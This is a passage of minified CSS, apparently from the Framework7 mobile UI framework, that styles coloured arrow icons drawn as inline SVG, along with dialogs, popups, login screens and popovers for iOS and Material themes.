.icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23e91e63'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-pink,.md a.link .color-pink .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23e91e63'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-pink,.md a.link .color-pink .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23e91e63'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-yellow,.md a.link .color-yellow .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-yellow,.md a.link .color-yellow .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ffeb3b'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-yellow,.md a.link .color-yellow .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffeb3b'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-yellow,.md a.link .color-yellow .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffeb3b'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-orange,.md a.link .color-orange .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-orange,.md a.link .color-orange .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ff9800'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-orange,.md a.link .color-orange .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ff9800'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-orange,.md a.link .color-orange .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ff9800'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-gray,.md a.link .color-gray .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-gray,.md a.link .color-gray .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%239e9e9e'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-gray,.md a.link .color-gray .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%239e9e9e'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-gray,.md a.link .color-gray .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%239e9e9e'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-white,.md a.link .color-white .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-white,.md a.link .color-white .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-white,.md a.link .color-white .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-white,.md a.link .color-white .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23ffffff'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-forward.color-black,.md a.link .color-black .icon-forward{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E")}.md .icon-back.color-black,.md a.link .color-black .icon-back{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M12%204l-1.41%201.41L16.17%2011H4v2h12.17l-5.58%205.59L12%2020l8-8z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E")}.md .icon-prev.color-black,.md a.link .color-black .icon-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23000000'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M10%206L8.59%207.41%2013.17%2012l-4.58%204.59L10%2018l6-6z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon-next.color-black,.md a.link .color-black .icon-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20fill%3D'%23000000'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M15.41%207.41L14%206l-6%206%206%206%201.41-1.41L10.83%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .icon.color-red{color:#f44336}.md .icon.color-green{color:#4caf50}.md .icon.color-blue{color:#2196f3}.md .icon.color-pink{color:#e91e63}.md .icon.color-yellow{color:#ffeb3b}.md .icon.color-orange{color:#ff9800}.md .icon.color-gray{color:#9e9e9e}.md .icon.color-white{color:#fff}.md .icon.color-black{color:#000}.custom-modal-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s;z-index:10500}.custom-modal-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.custom-modal-backdrop.backdrop-in{visibility:visible;opacity:1}.dialog-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s}.dialog-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.dialog-backdrop.backdrop-in{visibility:visible;opacity:1}.dialog{position:absolute;z-index:13500;left:50%;margin-top:0;top:50%;overflow:hidden;opacity:0;-webkit-transform:translate3d(0,0,0) scale(1.185);transform:translate3d(0,0,0) scale(1.185);-webkit-transition-property:opacity,-webkit-transform;transition-property:opacity,-webkit-transform;transition-property:transform,opacity;transition-property:transform,opacity,-webkit-transform;display:none;-webkit-transition-duration:.4s;transition-duration:.4s}.dialog.modal-in{opacity:1;-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1)}.dialog.modal-out{opacity:0;z-index:13499}.dialog.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.dialog-inner{position:relative}.dialog-title{font-weight:500}.dialog-buttons{position:relative;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse}.dialog-buttons-vertical .dialog-buttons{display:block;height:auto!important}.dialog-no-buttons .dialog-buttons{display:none}.dialog-input-field{position:relative}.dialog-input-field .item-input-wrap{margin:0;padding:0}.dialog-input{-webkit-box-sizing:border-box;box-sizing:border-box;margin:0;margin-top:15px;border-radius:0;-webkit-appearance:none;-moz-appearance:none;appearance:none;width:100%;display:block;font-family:inherit;-webkit-box-shadow:none;box-shadow:none}html.with-modal-dialog .page-content{overflow:hidden;-webkit-overflow-scrolling:auto}.ios .dialog{width:270px;margin-left:-135px;text-align:center;border-radius:13px;color:#000}.ios .dialog.modal-out{-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1)}.ios .dialog-inner{padding:15px;border-radius:13px 13px 0 0;background:rgba(255,255,255,.95)}.ios .dialog-inner:after{content:'';position:absolute;background-color:rgba(0,0,0,.2);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .dialog-inner:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .dialog-inner:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .dialog-title{font-size:18px;text-align:center;font-weight:600}.ios .dialog-title+.dialog-text{margin-top:5px}.ios .dialog-buttons{height:44px;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.ios .dialog-button{width:100%;padding:0 5px;height:44px;font-size:17px;line-height:44px;text-align:center;color:#007aff;display:block;position:relative;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;cursor:pointer;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-flex:1;-ms-flex:1;background:rgba(255,255,255,.95)}.ios .dialog-button:first-child{border-radius:0 0 0 13px}.ios .dialog-button:last-child{border-radius:0 0 13px 0}.ios .dialog-button:last-child:after{display:none!important}.ios .dialog-button:first-child:last-child{border-radius:0 0 13px 13px}.ios .dialog-button.dialog-button-bold{font-weight:500}.ios .dialog-button.active-state{background:rgba(230,230,230,.95)}.ios .dialog-buttons-vertical .dialog-buttons{height:auto}.ios .dialog-buttons-vertical .dialog-button{border-radius:0}.ios .dialog-buttons-vertical .dialog-button:last-child{border-radius:0 0 13px 13px}.ios .dialog-buttons-vertical .dialog-button:last-child:after{display:none!important}.ios .dialog-button:after{content:'';position:absolute;background-color:rgba(0,0,0,.2);display:block;z-index:15;top:0;right:0;bottom:auto;left:auto;width:1px;height:100%;-webkit-transform-origin:100% 50%;transform-origin:100% 50%}.ios.device-pixel-ratio-2 .dialog-button:after{-webkit-transform:scaleX(.5);transform:scaleX(.5)}.ios.device-pixel-ratio-3 .dialog-button:after{-webkit-transform:scaleX(.33);transform:scaleX(.33)}.ios .dialog-buttons-vertical .dialog-button:after{content:'';position:absolute;background-color:rgba(0,0,0,.2);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .dialog-buttons-vertical .dialog-button:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .dialog-buttons-vertical .dialog-button:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .dialog-no-buttons .dialog-inner{border-radius:13px}.ios .dialog-no-buttons .dialog-inner:after{display:none!important}.ios .dialog-input-field{margin-top:15px}.ios .dialog-input-field .item-input-wrap{margin:0}.ios .dialog-input{height:26px;background:#fff;padding:0 5px;border:1px solid rgba(0,0,0,.3);font-size:14px}.ios .dialog-input+.dialog-input{margin-top:5px}.ios .dialog-input-double+.dialog-input-double{margin-top:0}.ios .dialog-input-double+.dialog-input-double .dialog-input{border-top:0;margin-top:0}.ios .dialog-preloader .dialog-text~.preloader,.ios .dialog-preloader .dialog-title~.preloader{margin-top:5px}.ios .dialog-preloader .preloader{width:34px;height:34px}.ios .dialog-progress .dialog-text~.progressbar,.ios .dialog-progress .dialog-text~.progressbar-infinite,.ios .dialog-progress .dialog-title~.progressbar,.ios .dialog-progress .dialog-title~.progressbar-infinite{margin-top:15px}.ios .dialog-button.color-red{color:#ff3b30}.ios .dialog-button.color-green{color:#4cd964}.ios .dialog-button.color-blue{color:#007aff}.ios .dialog-button.color-pink{color:#ff2d55}.ios .dialog-button.color-yellow{color:#fc0}.ios .dialog-button.color-orange{color:#ff9500}.ios .dialog-button.color-gray{color:#8e8e93}.ios .dialog-button.color-white{color:#fff}.ios .dialog-button.color-black{color:#000}.md .dialog{width:280px;margin-left:-140px;border-radius:4px;color:#757575;background:#fff;font-size:16px;-webkit-box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12);box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)}.md .dialog.modal-in{opacity:1;-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1)}.md .dialog.modal-out{opacity:0;z-index:13499;-webkit-transform:translate3d(0,0,0) scale(.815);transform:translate3d(0,0,0) scale(.815)}.md .dialog-inner{padding:24px 24px 20px}.md .dialog-title{font-size:20px;color:#212121;line-height:1.3}.md .dialog-title+.dialog-text{margin-top:20px}.md .dialog-text{line-height:1.5}.md .dialog-buttons{height:48px;padding:6px 8px;overflow:hidden;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-pack:end;-webkit-justify-content:flex-end;-ms-flex-pack:end;justify-content:flex-end}.md .dialog-buttons-vertical .dialog-buttons{padding:0 0 8px 0}.md .dialog-buttons-vertical .dialog-buttons .dialog-button{margin-left:0;text-align:right;height:48px;line-height:48px;border-radius:0;padding-left:16px;padding-right:16px}.md .dialog-button{text-decoration:none;text-align:center;display:block;-webkit-appearance:none;-moz-appearance:none;appearance:none;background:0 0;padding:0 10px;margin:0;white-space:nowrap;text-overflow:ellipsis;font-size:14px;position:relative;overflow:hidden;font-family:inherit;cursor:pointer;outline:0;-webkit-box-sizing:border-box;box-sizing:border-box;vertical-align:middle;color:#2196f3;border-radius:4px;line-height:36px;height:36px;text-transform:uppercase;min-width:64px;padding:0 8px;border:none;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);letter-spacing:.03em;font-weight:500}input[type=button].md .dialog-button,input[type=submit].md .dialog-button{width:100%}.md .dialog-button.active-state{background:rgba(0,0,0,.1)}.md .dialog-button.dialog-button-bold{font-weight:700}.md .dialog-button+.dialog-button{margin-left:4px}.md .dialog-input{height:36px;padding:0;border:none;font-size:16px;-webkit-transition-duration:.2s;transition-duration:.2s;position:relative}.md .dialog-input::-webkit-input-placeholder{color:rgba(0,0,0,.35)}.md .dialog-input:-ms-input-placeholder{color:rgba(0,0,0,.35)}.md .dialog-input::-ms-input-placeholder{color:rgba(0,0,0,.35)}.md .dialog-input::placeholder{color:rgba(0,0,0,.35)}.md .dialog-input+.dialog-input{margin-top:16px}.md .dialog-preloader .dialog-inner,.md .dialog-preloader .dialog-title,.md .dialog-progress .dialog-inner,.md .dialog-progress .dialog-title{text-align:center}.md .dialog-preloader .dialog-text~.preloader,.md .dialog-preloader .dialog-title~.preloader{margin-top:20px}.md .dialog-progress .dialog-text~.progressbar,.md .dialog-progress .dialog-text~.progressbar-infinite,.md .dialog-progress .dialog-title~.progressbar,.md .dialog-progress .dialog-title~.progressbar-infinite{margin-top:16px}.md .dialog-button.color-red{color:#f44336}.md .dialog-button.color-green{color:#4caf50}.md .dialog-button.color-blue{color:#2196f3}.md .dialog-button.color-pink{color:#e91e63}.md .dialog-button.color-yellow{color:#ffeb3b}.md .dialog-button.color-orange{color:#ff9800}.md .dialog-button.color-gray{color:#9e9e9e}.md .dialog-button.color-white{color:#fff}.md .dialog-button.color-black{color:#000}.popup-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s;z-index:10500}.popup-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.popup-backdrop.backdrop-in{visibility:visible;opacity:1}.popup{position:absolute;left:0;top:0;width:100%;height:100%;display:none;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);background:#fff;z-index:11000}.popup.modal-in,.popup.modal-out{-webkit-transition-duration:.4s;transition-duration:.4s}.popup.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.popup.modal-in{display:block;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.popup.modal-out{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}@media (min-width:630px) and (min-height:630px){.popup:not(.popup-tablet-fullscreen){width:630px;height:630px;left:50%;top:50%;margin-left:-315px;margin-top:-315px;-webkit-transform:translate3d(0,100vh,0);transform:translate3d(0,100vh,0)}.popup:not(.popup-tablet-fullscreen).modal-in{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.popup:not(.popup-tablet-fullscreen).modal-out{-webkit-transform:translate3d(0,100vh,0);transform:translate3d(0,100vh,0)}}@media (max-width:629px),(max-height:629px){html.with-statusbar .popup-backdrop{z-index:9500}html.with-statusbar.device-ios .popup,html.with-statusbar.ios:not(.device-ios):not(.device-android) .popup{height:calc(100% - 20px);top:20px}html.with-statusbar.device-iphone-x .popup{height:calc(100% - constant(safe-area-inset-top));height:calc(100% - env(safe-area-inset-top));top:constant(safe-area-inset-top);top:env(safe-area-inset-top)}html.with-statusbar.device-android .popup,html.with-statusbar.md:not(.device-ios):not(.device-android) .popup{height:calc(100% - 24px);top:24px}}@media (min-width:630px),(min-height:630px){html.with-statusbar.device-ios .popup-tablet-fullscreen,html.with-statusbar.ios:not(.device-ios):not(.device-android) .popup-tablet-fullscreen{height:calc(100% - 20px);top:20px}html.with-statusbar.device-iphone-x .popup-tablet-fullscreen{height:calc(100% - constant(safe-area-inset-top));height:calc(100% - env(safe-area-inset-top));top:constant(safe-area-inset-top);top:env(safe-area-inset-top)}html.with-statusbar.device-android .popup-tablet-fullscreen,html.with-statusbar.md:not(.device-ios):not(.device-android) .popup-tablet-fullscreen{height:calc(100% - 24px);top:24px}}html.with-modal-popup .framework7-root>.panel .page-content,html.with-modal-popup .framework7-root>.view .page-content,html.with-modal-popup .framework7-root>.views .page-content{overflow:hidden;-webkit-overflow-scrolling:auto}@media (min-width:630px) and (min-height:630px){.md .popup:not(.popup-tablet-fullscreen){-webkit-box-shadow:0 20px 44px rgba(0,0,0,.5);box-shadow:0 20px 44px rgba(0,0,0,.5)}}.login-screen{position:absolute;left:0;top:0;width:100%;height:100%;display:none;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);background:#fff;z-index:11000}.login-screen.modal-in,.login-screen.modal-out{-webkit-transition-duration:.4s;transition-duration:.4s}.login-screen.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.login-screen.modal-in{display:block;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.login-screen.modal-out{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}html.with-statusbar.device-ios .login-screen,html.with-statusbar.ios:not(.device-ios):not(.device-android) .login-screen{height:calc(100% - 20px);top:20px}html.with-statusbar.device-iphone-x .login-screen{height:calc(100% - constant(safe-area-inset-top));height:calc(100% - env(safe-area-inset-top));top:constant(safe-area-inset-top);top:env(safe-area-inset-top)}html.with-statusbar.device-android .login-screen,html.with-statusbar.md:not(.device-ios):not(.device-android) .login-screen{height:calc(100% - 24px);top:24px}.login-screen-content{background:#fff}.login-screen-content .block,.login-screen-content .block-footer,.login-screen-content .block-header,.login-screen-content .list,.login-screen-content .login-screen-title{max-width:480px}.login-screen-content .list ul{background:0 0}.login-screen-content .list ul:before{display:none!important}.login-screen-content .list ul:after{display:none!important}.login-screen-content .block-footer,.login-screen-content .block-header{text-align:center;margin-left:auto;margin-right:auto}.login-screen-title{text-align:center}.ios .login-screen-content .block,.ios .login-screen-content .list,.ios .login-screen-content .login-screen-title{margin:25px auto}.ios .login-screen-title{font-size:30px}.ios .theme-dark .login-screen-content,.ios .theme-dark .login-screen-content .list ul{background-color:transparent}.md .login-screen-content .block,.md .login-screen-content .list,.md .login-screen-content .login-screen-title{margin:24px auto}.md .login-screen-content .list-button{text-align:center;color:#2196f3}.md .login-screen-title{font-size:34px}.login-screen-content.md .theme-dark,.md .theme-dark .login-screen-content{background:0 0}.md .color-theme-red .login-screen-content .list-button{color:#f44336}.md .color-theme-green .login-screen-content .list-button{color:#4caf50}.md .color-theme-blue .login-screen-content .list-button{color:#2196f3}.md .color-theme-pink .login-screen-content .list-button{color:#e91e63}.md .color-theme-yellow .login-screen-content .list-button{color:#ffeb3b}.md .color-theme-orange .login-screen-content .list-button{color:#ff9800}.md .color-theme-gray .login-screen-content .list-button{color:#9e9e9e}.md .color-theme-white .login-screen-content .list-button{color:#fff}.md .color-theme-black .login-screen-content .list-button{color:#000}.md .login-screen-content .list-button.color-red{color:#f44336}.md .login-screen-content .list-button.color-green{color:#4caf50}.md .login-screen-content .list-button.color-blue{color:#2196f3}.md .login-screen-content .list-button.color-pink{color:#e91e63}.md .login-screen-content .list-button.color-yellow{color:#ffeb3b}.md .login-screen-content .list-button.color-orange{color:#ff9800}.md .login-screen-content .list-button.color-gray{color:#9e9e9e}.md .login-screen-content .list-button.color-white{color:#fff}.md .login-screen-content .list-button.color-black{color:#000}.popover-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,.4);z-index:13000;visibility:hidden;opacity:0;-webkit-transition-duration:.4s;transition-duration:.4s}.popover-backdrop.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.popover-backdrop.backdrop-in{visibility:visible;opacity:1}.popover{width:260px;z-index:13500;margin:0;top:0;opacity:0;left:0;position:absolute;display:none;-webkit-transition-duration:.3s;transition-duration:.3s}.popover .list{margin:0}.popover .list ul{background:0 0}.popover .list:first-child ul:before{display:none!important}.popover .list:last-child ul:after{display:none!important}.popover.modal-in{opacity:1}.popover.not-animated{-webkit-transition-duration:0s;transition-duration:0s}.popover-inner{overflow:auto;-webkit-overflow-scrolling:touch}.popover-from-actions-bold{font-weight:600}.popover-from-actions-label{line-height:1.3;position:relative}.popover-from-actions-label:last-child:after{display:none!important}.ios .popover{background:rgba(255,255,255,.95);border-radius:13px;-webkit-transform:none;transform:none;-webkit-transition-property:opacity;transition-property:opacity}.ios .popover .list:first-child ul{border-radius:13px 13px 0 0}.ios .popover .list:first-child li:first-child,.ios .popover .list:first-child li:first-child a,.ios .popover .list:first-child li:first-child>label{border-radius:13px 13px 0 0}.ios .popover .list:last-child ul{border-radius:0 0 13px 13px}.ios .popover .list:last-child li:last-child,.ios .popover .list:last-child li:last-child a,.ios .popover .list:last-child li:last-child>label{border-radius:0 0 13px 13px}.ios .popover .list:first-child:last-child li:first-child:last-child,.ios .popover .list:first-child:last-child li:first-child:last-child a,.ios .popover .list:first-child:last-child li:first-child:last-child>label,.ios .popover .list:first-child:last-child ul{border-radius:13px}.ios .popover .list+.list{margin-top:35px}.ios .popover-angle{width:26px;height:26px;position:absolute;left:-26px;top:0;z-index:100;overflow:hidden}.ios .popover-angle:after{content:'';background:rgba(255,255,255,.95);width:26px;height:26px;position:absolute;left:0;top:0;border-radius:3px;-webkit-transform:rotate(45deg);transform:rotate(45deg)}.ios .popover-angle.on-left{left:-26px}.ios .popover-angle.on-left:after{left:19px;top:0}.ios .popover-angle.on-right{left:100%}.ios .popover-angle.on-right:after{left:-19px;top:0}.ios .popover-angle.on-top{left:0;top:-26px}.ios .popover-angle.on-top:after{left:0;top:19px}.ios .popover-angle.on-bottom{left:0;top:100%}.ios 